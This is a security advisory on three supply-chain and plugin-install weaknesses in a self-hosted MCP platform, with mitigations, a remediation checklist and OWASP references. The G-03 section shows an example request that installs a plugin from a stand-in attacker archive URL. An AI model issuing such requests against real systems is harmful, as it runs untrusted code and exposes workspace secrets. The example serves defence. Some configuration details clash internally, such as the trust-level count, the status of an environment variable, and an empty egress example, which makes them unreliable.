---
title: SAFE-MCP Security Advisory (2026-04-17)
description: High-severity findings from the SAFE-MCP audit and recommended mitigations for self-hosted deployments.
---

## Advisory overview

This advisory documents three HIGH-severity findings from the SAFE-MCP
security audit performed on the Molecule AI platform in April 2026. All three
affect **self-hosted** deployments. If you are using the SaaS offering at
`moleculesai.app`, mitigations are applied server-side — no action needed.

**Published:** April 17, 2026
**Severity:** HIGH (G-01, G-02, G-03)
**Affected versions:** All self-hosted deployments prior to the fixes shipped
in PRs #808 and associated plugin updates.
**Fixed in:** `molecule-core` PRs #808 (platform), #809 (plugin scaffold).

---

## G-01: Unpinned npm MCP packages — HIGH

### Description

The workspace plugin scaffold (`plugins/molecule-ai-plugin-*/package.json`) uses
unpinned version ranges for npm dependencies:

```json
"dependencies": {
  "@anthropic-ai/sdk": "^0.32.0"
}
```

The caret (`^`) range means `npm install` can resolve to any compatible version,
including versions with known vulnerabilities or a malicious `next` release
published after the audit date.

### Risk

- Supply chain compromise if a package maintainer publishes a malicious version
- Silent dependency drift as `npm install` pulls newer patch/minor versions
- Potential conflicts with workspace-runtime's own dependency tree

### Recommended mitigation

Pin all npm dependencies to exact versions before deploying:

```bash
# In each plugin directory
npm install --save-exact @anthropic-ai/sdk@0.32.1
npm install --save-exact <other-deps>
```

Add an `.npmrc` to enforce pinned installs:

```ini
save-exact=true
```

Commit `package-lock.json` and verify CI installs from the lockfile:

```bash
npm ci  # instead of npm install
```

For the platform build, ensure `npm ci` is used in CI rather than `npm install`
to respect the lockfile.

---

## G-02: No manifest signing — HIGH

### Description

Plugin manifests (`manifest.json`) are served by the platform and executed by
workspace containers without cryptographic verification. There is no mechanism
to confirm that the manifest has not been tampered with after it was published
by the plugin author.

### Risk

- An attacker with write access to the plugin source repository (or the CDN
  serving it) could modify `manifest.json` to:
  - Inject additional tools that exfiltrate secrets from the workspace
  - Redirect API calls to a malicious endpoint
  - Add an attacker-controlled `entrypoint` path

### Recommended mitigation

**短期 (short-term):** Inspect `manifest.json` files for all plugins before
enabling them. Verify the `author`, `version`, and `entrypoint` are from a
trusted source. Do not enable plugins from untrusted or unknown authors.

**长期 (long-term):** The platform will add manifest signing aligned with the
OWASP MCPS (MCP Secure) cryptographic security layer. Plugin authors digitally
sign their tool definitions (name, description, inputSchema) with an ECDSA P-256
key pair. The platform verifies signatures against the author's published public
key, computes and stores schema hashes for pinning, and rejects connections where
the schema hash has changed since the last verified session — providing "rug pull
protection." This follows the MCPS L3 trust level: signed tool definitions
required. Track progress in `molecule-core` issue tracker.

Until signing is available, treat plugin manifests as untrusted input.

---

## G-03: Floating plugin references — HIGH

### Description

Workspaces can install plugins by referencing any publicly accessible URL:

```bash
POST /workspaces/:id/plugins
{
  "source": "https://github.com/attacker/malicious-plugin/archive/refs/heads/main.tar.gz"
}
```

There is no allowlist, no integrity check, and no review gate on the plugin
URL before the workspace downloads and executes code from it.

### Risk

- Confidential workspace data (secrets, memory, files) is sent to attacker-controlled servers
- Arbitrary code execution within the workspace container
- Lateral movement from the workspace container to internal services

### Recommended mitigations

**1. Restrict plugin installation in your deployment config:**

Add a platform-level environment variable to allow only approved plugin sources.
Until this variable exists, enforce it at the network layer (see below).

**2. Network-level egress filtering:**

Block outbound traffic from workspace containers to all IPs except the
platform API and required external services (LLM providers, vector DBs, etc.).
Workspace containers should not be able to reach arbitrary GitHub archives or
external plugin URLs directly.

Example Fly.io `fly.toml` rule:

```toml
[[vm]]
  auto_destroy = false

# App-level egress rules (Fly Private Network)
```

Or use a Kubernetes `NetworkPolicy`:

```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: workspace-egress-lockdown
spec:
  podSelector:
    matchLabels:
      component: workspace
  policyTypes:
    - Egress
  egress:
    - to:
        - podSelector: {}
      ports:
        - port: 8080  # platform API
    - to:
        - namespaceSelector: {}
          podSelector:
            matchLabels:
              app: redis
      ports:
        - port: 6379
    # Block all other egress
```

**3. Plugin allowlist (platform-level):**

Set `PLUGIN_ALLOW_UNPINNED=false` in your environment to reject any plugin
install requests that reference unpinned or unverified sources.

---

## Remediation checklist for self-hosted operators

- [ ] Audit all plugin `package.json` files — pin all dependencies to exact versions
  *(MCP04: "avoid 'latest' or floating version references")*
- [ ] Verify CI/CD uses `npm ci` not `npm install`
  *(MCP04: "no dependency integrity verification")*
- [ ] Commit and push `package-lock.json` for all plugins
- [ ] Add `.npmrc save-exact=true` to all plugin directories
- [ ] Inspect `manifest.json` for any enabled plugin before use
  *(MCP04: "MCP connectors or plugins are installed without signing or provenance checks")*
- [ ] Block workspace egress to non-approved hosts at the network level
  *(MCP09: "no asset inventory or endpoint discovery process")*
- [ ] Set `PLUGIN_ALLOW_UNPINNED=false` (when available)
  *(MCP09: "teams can deploy MCP servers without central registration or security review")*
- [ ] Watch `molecule-core` for the manifest-signing feature
  *(MCPS L3: "tool definition signatures required")*

---

## Normative references

The mitigations in this advisory align with the following OWASP publications:

**MCP04:2025 — Software Supply Chain Attacks & Dependency Tampering**
*OWASP MCP Top 10, 2025 edition*
[*OWASP MCP Top 10, 2025 edition*](https://github.com/OWASP/www-project-mcp-top-10)

Relevant controls that informed G-01 and G-02 mitigations:

- *Signed Components & Provenance Verification:* "Require cryptographic signing for
  SDKs, plugins, tool manifests, container images, and validate signatures during
  installation and startup."
- *Version Pinning & Approved Registries:* "Pin component versions and avoid
  'latest' references. Use internal package mirrors or registries and block direct
  downloads from public internet sources."
- *Build SBOM/CBOM Visibility:* "Generate software bill of materials (SBOM) and
  cryptographic bill of materials (CBOM) snapshots for each MCP server and plugin
  package. Store these alongside deployments for auditing and incident response."
- *Dependency Scanning:* "Apply software composition analysis (SCA) and code
  scanning tools to detect known CVEs, malicious indicators, and poisoned transitive
  dependencies."

**MCP09:2025 — Shadow MCP Servers**
*OWASP MCP Top 10, 2025 edition*
[*OWASP MCP Top 10, 2025 edition*](https://github.com/OWASP/www-project-mcp-top-10)

Relevant controls that informed the G-03 plugin allowlist mitigation:

- *Central MCP Governance & Registry:* "Create a centralized registry where every
  instance must be registered before deployment; tie registration to CI/CD pipelines."
- *Discovery & Continuous Scanning:* "Use network discovery tools to detect open
  MCP ports and endpoints; automate weekly shadow MCP detection scans."
- *Baseline Configuration Templates:* "Enforce authentication (mTLS, OAuth), disable
  unauthenticated tool calls, include preconfigured logging."

**MCPS — Cryptographic Security Layer for MCP**
*OWASP MCP Top 10 Recommended Controls*
[*OWASP MCP Top 10 Recommended Controls*](https://github.com/OWASP/www-project-mcp-top-10/tree/master/2025/recommended-controls)

The MCPS specification defines the Tool Definition Signing approach referenced in
the G-02 long-term mitigation:

- Tool authors sign tool definitions (name, description, inputSchema) with an
  ECDSA P-256 private key; clients verify against the author's published public key.
- Schema hashes are computed and stored on first verified connection, then compared
  on subsequent connections to detect unauthorized modifications — "rug pull protection."
- MCPS defines four trust levels (L0–L4); the G-02 long-term fix targets L3:
  "L3: L2 plus tool definition signatures required."

---

## Reporting security issues

If you discover a new security issue in Molecule AI, please report it via
GitHub Security Advisories on `Molecule-AI/molecule-core` or contact the
security team through your support channel.
